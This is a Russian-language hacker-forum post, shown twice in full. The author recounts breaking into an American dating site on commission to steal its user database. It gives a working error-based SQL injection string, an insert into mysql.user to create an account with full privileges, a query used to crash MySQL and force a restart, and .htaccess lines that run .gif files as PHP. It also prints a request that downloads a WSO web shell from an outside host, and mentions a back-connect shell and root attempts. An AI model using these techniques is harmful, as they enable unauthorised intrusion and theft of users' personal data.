Pirotexnik
10.04.2012, 05:51
INTRO
Доброго времени суток!
По немногочисленным просьбам решил написать ешё 1 статью/роман_хакреа/рассказ. Причина этому - накопившиеся в голове проблеммы и их решения, с которыми может столкнутся каждый.
Сразу предупреждаю, что ничего критически нового тут нету, и если вы гуру, то вы врядли найдете сдесь что-то новое. Т.К. эта статья написана для таких же как и я сам. Для тех, кто учится.
БЛАГОДАРНОСТИ
BigBear - за все
Га-Ноцри - дедик
НАХТАЧЕК - хинты
nikp - финт ушами с мускулом
Пожалуй, погнали!
СКУЛЬ
Жертвой был какой-то американский дейтинг. Заказ - как обычно - бд с юзаками.
Все как обычно, кинул в акунетикс, и сам пошел искать ручками. В этот раз я опередил софт, и нашел что-то странное. Как оказалось позднее, скуль была в ордере. Как юнионовская она не крутилась, хавидж начал крутить как time based (что не удивительно, т.к. у него на меня вообще аллергия ), и крутить пришлось ручками.
Вывод ошибки был, ну и понятно я попытался раскрутить как error based. Вышло вот что:
id=(1)and(1=1)/**/(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/database())/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/and/**/1=1/**/--/**/
Удивляло больше всего меня то, что конструкция and 1=1 помогала только при использование ДВАЖДЫ! Почему я так и не выяснил...
Мне повезло, у моего юзера была возможность читать mysql.user, но file_priv был N. Спустя пару запросов, я извлек юзера с кривыми правами (чтение\запись по всей бд) и host=%
Ближайший wso -> SQL -> connect -> УРА! Я внутри.
Писать файлы я не мог, но мог редактировать mysql.user, что доставляло не мение. Я создал себе юзера, примитивным insert, с доступом откуда угодно, и полными правами. Но тут был облом... Зайти под ним я не мог, для этого требоволось применить изменения в силу. На команду
FLUSH PRIVILEGES;
прав не было, а сервер не перезагружался месяцами. И тут появился товарищь nikp и сказал:
!ПОЛЕЗНЯШКА НОМЕР РАС!
l1ght
находил такой способ
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
mysql крашится от этого запроса
Мускул упал, и через 2 минуты самостоятельно ребутнулся. Ещё через 5-7 секунд у меня были рут права
ШЕЛЛ
Наверное больше всего гемора доставила заливка шелла.
Писать я мог, но незнал куда. Почитав ЭТО (https://antichat.live/threads/324564/) в пару запросов я извлек конфиг апача, ну а из него и путь. Но дало мне это не много, так как папка с правами 777 была одна, и в ней нельзя было запускать ничего как php.
Ясное дело, после минуты раздумий я решил написать свой .htaccess (с блэк-джэком и шлюхами) в котором банально запускал бы .gif как php.
Сказано - сделано, но опять облом. Обычный перенос строки превращался в "/".
!ПОЛЕЗНЯШКА НОМЕР ДВАС!
в качестве переноса строки нужно использовать
\r
select "
test
\r
test2
" into outfile
'/путь/1.txt'
cat 1.txt
test
test2
если использовать
\n
то получится:
cat 2.txt
test\
test2
Записал в него я следубщее:
Меня иногда выручала подобная конструкция:
php_flag engine on(либо php engine on)
AddType application/x-httpd-php.phtml.jpg.html
AddHandler application/x-httpd-php.phtml.jpg.html
Так, .htaccess записан, но не работает. Тупо игнорируется. Я перепробывал все варианты, подпапки с правами записи заканчивались, а мускулом файлы удалять нельзя, что делать я не знал...
После пачки мальборо и 3 чашек какого-то кофе, какого не в курсе, мама принесла , я забил на это дело и решил как тру-гуру юзать низкоуровневые атаки на порт. Открыл nmap, воткнул IP, просканил... и... фак май моск!!!
nginx - 80
apache -81
Понятное дело нгиникс плевал на мои .htaccess, т.к. эта фича чисто апачевская. Любимая опера понятно обращалась по 80 порту, и ответ мне выдавал нгиникс. Я попробывал следующее:
!ПОЛЕЗНЯШКА НОМЕР ТРИС!
target.com:81
Сайт загрузился отлично.
target.com:81/uploads/1/asd.gif
И о чудо, вывелось ранее записаное мной в эту "картинку" echo. И phpinfo() тоже кстате вывелось
target.com:81/wtf2.gif?a=copy("http://www.myserser.com/wso.txt","/home/target/public_html/uploads/1/wso.gif");
Вобщем, все сработало. Я зашел в шелл.
ШЕЛЛ
Первым делом я глянул на ядро
Linux target 2.6.34.7-0.7-default #1 SMP 2010-12-13 11:13:53 +0100 x86_64
2010 год, вроде нормально. Бинд порт не сработал, тогда я отжал дедик, и зацепился бэк-коннектом. Но увы... Уже 10 сплоитов не помогли... Стоит там openSUSE 11.3 которя не хочет рутатся, не в какую... увы...
Так что, если есть какие идеи по руту - мое пм открыто
Подробнее о проблемме тут (https://antichat.live/showpost.php/p/3101146/postcount/314/)
Вот собственно и все. Оранжевым выделенны моменты, которые стоит запомнить, или записать.
Всем спасибо, критика уместна.
Pirotexnik
Доброго времени суток!
По немногочисленным просьбам решил написать ешё 1 статью/роман_хакреа/рассказ. Причина этому - накопившиеся в голове проблеммы и их решения, с которыми может столкнутся каждый.
Сразу предупреждаю, что ничего критически нового тут нету, и если вы гуру, то вы врядли найдете сдесь что-то новое. Т.К. эта статья написана для таких же как и я сам. Для тех, кто учится.
БЛАГОДАРНОСТИ
BigBear - за все
Га-Ноцри - дедик
НАХТАЧЕК - хинты
nikp - финт ушами с мускулом
Пожалуй, погнали!
СКУЛЬ
Жертвой был какой-то американский дейтинг. Заказ - как обычно - бд с юзаками.
Все как обычно, кинул в акунетикс, и сам пошел искать ручками. В этот раз я опередил софт, и нашел что-то странное. Как оказалось позднее, скуль была в ордере. Как юнионовская она не крутилась, хавидж начал крутить как time based (что не удивительно, т.к. у него на меня вообще аллергия ), и крутить пришлось ручками.
Вывод ошибки был, ну и понятно я попытался раскрутить как error based. Вышло вот что:
id=(1)and(1=1)/**/(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/database())/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/and/**/1=1/**/--/**/
Удивляло больше всего меня то, что конструкция and 1=1 помогала только при использование ДВАЖДЫ! Почему я так и не выяснил...
Мне повезло, у моего юзера была возможность читать mysql.user, но file_priv был N. Спустя пару запросов, я извлек юзера с кривыми правами (чтение\запись по всей бд) и host=%
Ближайший wso -> SQL -> connect -> УРА! Я внутри.
Писать файлы я не мог, но мог редактировать mysql.user, что доставляло не мение. Я создал себе юзера, примитивным insert, с доступом откуда угодно, и полными правами. Но тут был облом... Зайти под ним я не мог, для этого требоволось применить изменения в силу. На команду
FLUSH PRIVILEGES;
прав не было, а сервер не перезагружался месяцами. И тут появился товарищь nikp и сказал:
!ПОЛЕЗНЯШКА НОМЕР РАС!
l1ght
находил такой способ
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
mysql крашится от этого запроса
Мускул упал, и через 2 минуты самостоятельно ребутнулся. Ещё через 5-7 секунд у меня были рут права
ШЕЛЛ
Наверное больше всего гемора доставила заливка шелла.
Писать я мог, но незнал куда. Почитав ЭТО (https://antichat.live/threads/324564/) в пару запросов я извлек конфиг апача, ну а из него и путь. Но дало мне это не много, так как папка с правами 777 была одна, и в ней нельзя было запускать ничего как php.
Ясное дело, после минуты раздумий я решил написать свой .htaccess (с блэк-джэком и шлюхами) в котором банально запускал бы .gif как php.
Сказано - сделано, но опять облом. Обычный перенос строки превращался в "/".
!ПОЛЕЗНЯШКА НОМЕР ДВАС!
в качестве переноса строки нужно использовать
\r
select "
test
\r
test2
" into outfile
'/путь/1.txt'
cat 1.txt
test
test2
если использовать
\n
то получится:
cat 2.txt
test\
test2
Записал в него я следубщее:
Меня иногда выручала подобная конструкция:
php_flag engine on(либо php engine on)
AddType application/x-httpd-php.phtml.jpg.html
AddHandler application/x-httpd-php.phtml.jpg.html
Так, .htaccess записан, но не работает. Тупо игнорируется. Я перепробывал все варианты, подпапки с правами записи заканчивались, а мускулом файлы удалять нельзя, что делать я не знал...
После пачки мальборо и 3 чашек какого-то кофе, какого не в курсе, мама принесла , я забил на это дело и решил как тру-гуру юзать низкоуровневые атаки на порт. Открыл nmap, воткнул IP, просканил... и... фак май моск!!!
nginx - 80
apache -81
Понятное дело нгиникс плевал на мои .htaccess, т.к. эта фича чисто апачевская. Любимая опера понятно обращалась по 80 порту, и ответ мне выдавал нгиникс. Я попробывал следующее:
!ПОЛЕЗНЯШКА НОМЕР ТРИС!
target.com:81
Сайт загрузился отлично.
target.com:81/uploads/1/asd.gif
И о чудо, вывелось ранее записаное мной в эту "картинку" echo. И phpinfo() тоже кстате вывелось
target.com:81/wtf2.gif?a=copy("http://www.myserser.com/wso.txt","/home/target/public_html/uploads/1/wso.gif");
Вобщем, все сработало. Я зашел в шелл.
ШЕЛЛ
Первым делом я глянул на ядро
Linux target 2.6.34.7-0.7-default #1 SMP 2010-12-13 11:13:53 +0100 x86_64
2010 год, вроде нормально. Бинд порт не сработал, тогда я отжал дедик, и зацепился бэк-коннектом. Но увы... Уже 10 сплоитов не помогли... Стоит там openSUSE 11.3 которя не хочет рутатся, не в какую... увы...
Так что, если есть какие идеи по руту - мое пм открыто
Подробнее о проблемме тут (https://antichat.live/showpost.php/p/3101146/postcount/314/)
Вот собственно и все. Оранжевым выделенны моменты, которые стоит запомнить, или записать.
Всем спасибо, критика уместна.
Pirotexnik